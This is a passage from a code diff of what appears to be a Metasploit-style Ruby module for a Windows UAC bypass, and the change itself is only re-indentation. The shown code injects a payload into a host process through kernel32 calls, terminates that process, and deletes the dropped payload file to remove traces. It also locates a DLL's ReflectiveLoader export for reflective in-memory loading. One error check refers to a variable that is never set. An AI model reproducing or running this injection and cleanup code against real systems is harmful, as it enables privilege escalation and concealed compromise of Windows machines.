#{pid}") + client.railgun.kernel32.WaitForSingleObject(thread.handle,3000) + client.railgun.kernel32.TerminateProcess(host_process.handle,0) + rescue ::Exception => e + print_error("Failed to Inject Payload to #{pid}!") + vprint_error(e.to_s) + end - # delete the uac bypass payload - vprint_status("Cleaning up payload file...") - file_rm(payload_filepath) - end + # delete the uac bypass payload + vprint_status("Cleaning up payload file...") + file_rm(payload_filepath) + end - def get_reflective_dll_offset(dll) - begin - pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) ) + def get_reflective_dll_offset(dll) + begin + pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) ) - pe.exports.entries.each do |entry| - if( entry.name =~ /^\S*ReflectiveLoader\S*/ ) - return pe.rva_to_file_offset( entry.rva ) - end - end + pe.exports.entries.each do |entry| + if( entry.name =~ /^\S*ReflectiveLoader\S*/ ) + return pe.rva_to_file_offset( entry.rva ) + end + end - raise "Can't find an exported ReflectiveLoader function!" if offset.nil? or offset == 0 - rescue - print_error( "Failed to read and parse Dll file: #{$!}" ) - return - end - end + raise "Can't find an exported ReflectiveLoader function!" if offset.nil? or offset == 0 + rescue + print_error( "Failed to read and parse Dll file: #{$!}" ) + return + end + end end